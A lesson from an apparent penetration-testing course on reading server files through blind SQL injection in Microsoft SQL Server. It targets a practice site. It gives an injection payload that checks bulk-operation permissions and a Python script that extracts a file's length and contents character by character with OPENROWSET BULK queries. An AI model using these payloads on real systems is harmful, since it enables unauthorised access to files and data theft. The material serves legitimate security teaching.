File Read

Theory

If we have the correct permissions, we can read files via an (MS)SQL injection. To do so we can use the OPENROWSET function with a bulk operation.

The syntax looks like this. SINGLE_CLOB means the input will be stored as a varchar, other options are SINGLE_BLOB which stores data as varbinary, and SINGLE_NCLOB which uses nvarchar.

-- Get the length of a file
SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x

-- Get the contents of a file
SELECT BulkColumn FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x

Checking Permissions

All users can use OPENROWSET, but using BULK operations requires special privileges, specifically either ADMINISTER BULK OPERATIONS or ADMINISTER DATABASE BULK OPERATIONS. We can check if our user has these with the following query:

SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

We'll be using Aunt Maria's Donuts again to practice in this section. We can run the query above like this:

maria' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--

Which should return the following response from the server:

Reading via Boolean-based

Having confirmed that we have the necessary permissions, we can adapt the script we wrote in that section to dump file contents out by changing the queries being sent to the oracle.

file_path = 'C:\\Windows\\System32\\flag.txt' # Target file

# Get the length of the file contents
length = 1
while not oracle(f"(SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '{file_path}', SINGLE_CLOB) AS x)={length}"):
    length += 1
print(f"[*] File length = {length}")

# Dump the file's contents
print("[*] File = ", end='')
for i in range(1, length + 1):
    low = 0
    high = 127
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"(SELECT ASCII(SUBSTRING(BulkColumn,{i},1)) FROM OPENROWSET(BULK '{file_path}', SINGLE_CLOB) AS x) BETWEEN {low} AND {mid}"):
            high = mid -1
        else:
            low = mid + 1
    print(chr(low), end='')
    sys.stdout.flush()
print()

Running this script should result in the target file being dumped. Of course, this may take some time to run.

[!bash!]$ python3 fileRead.py 
[*] File length = 37
[*] File = <SNIP>